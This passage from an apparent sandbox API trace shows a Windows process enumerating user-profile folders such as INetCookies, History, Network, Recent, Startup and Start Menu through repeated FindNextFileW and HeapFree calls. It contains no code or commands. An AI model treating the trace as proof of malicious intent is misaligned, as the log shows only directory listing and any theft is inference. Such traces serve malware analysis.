nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x240000, cFileName="Default", cAlternateFileName="")) returned 1 [0282.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.676] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0282.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.676] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0283.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.640] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0283.640] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0283.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.640] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 1 [0283.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.640] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3b55a05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0283.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.641] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3b5650c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0283.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.641] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3b56b05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0283.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.641] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3b570a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0283.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.642] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3b57759, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9bc987, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shell", cAlternateFileName="")) returned 1 [0283.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.642] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0283.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.642] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3b58244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 1 [0283.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.643] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3c33bd4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Group2", cAlternateFileName="")) returned 1 [0283.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.692] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3c88c0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Group3", cAlternateFileName="")) returned 1 [0283.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.714] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3c88c0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Group3", cAlternateFileName="")) returned 0 [0283.714] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0283.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.714] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3b58244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 0 [0283.714] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0283.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.715] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c89cf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9e2bf1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0283.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.717] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9e2bf1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f90064, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0283.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.717] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8af60, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsApps", cAlternateFileName="WINDOW~2")) returned 1 [0283.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.717] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8af60, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsApps", cAlternateFileName="WINDOW~2")) returned 0 [0283.717] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0283.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0283.719] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0283.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.719] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0283.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0283.720] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0283.720] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0283.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.720] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roaming", cAlternateFileName="")) returned 1 [0283.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.722] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ce02fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0283.722] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0283.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.722] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network", cAlternateFileName="")) returned 1 [0283.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.723] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_hiddencm", cAlternateFileName="_HIDDE~1")) returned 1 [0283.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.723] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_hiddencm", cAlternateFileName="_HIDDE~1")) returned 0 [0283.723] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0283.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.723] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0283.723] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0283.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.724] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2c416743, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c416743, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 1 [0283.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.821] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3d5b2cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0283.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.821] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3d5b98f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0283.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.822] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3db82df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0283.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.884] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x24d775e4, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x24d775e4, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0283.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0283.989] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3db9a99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0284.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.437] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3e05ef6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0284.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.437] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3e068f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0284.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.438] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b27991, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc3e074f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70b27991, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0284.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.438] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, 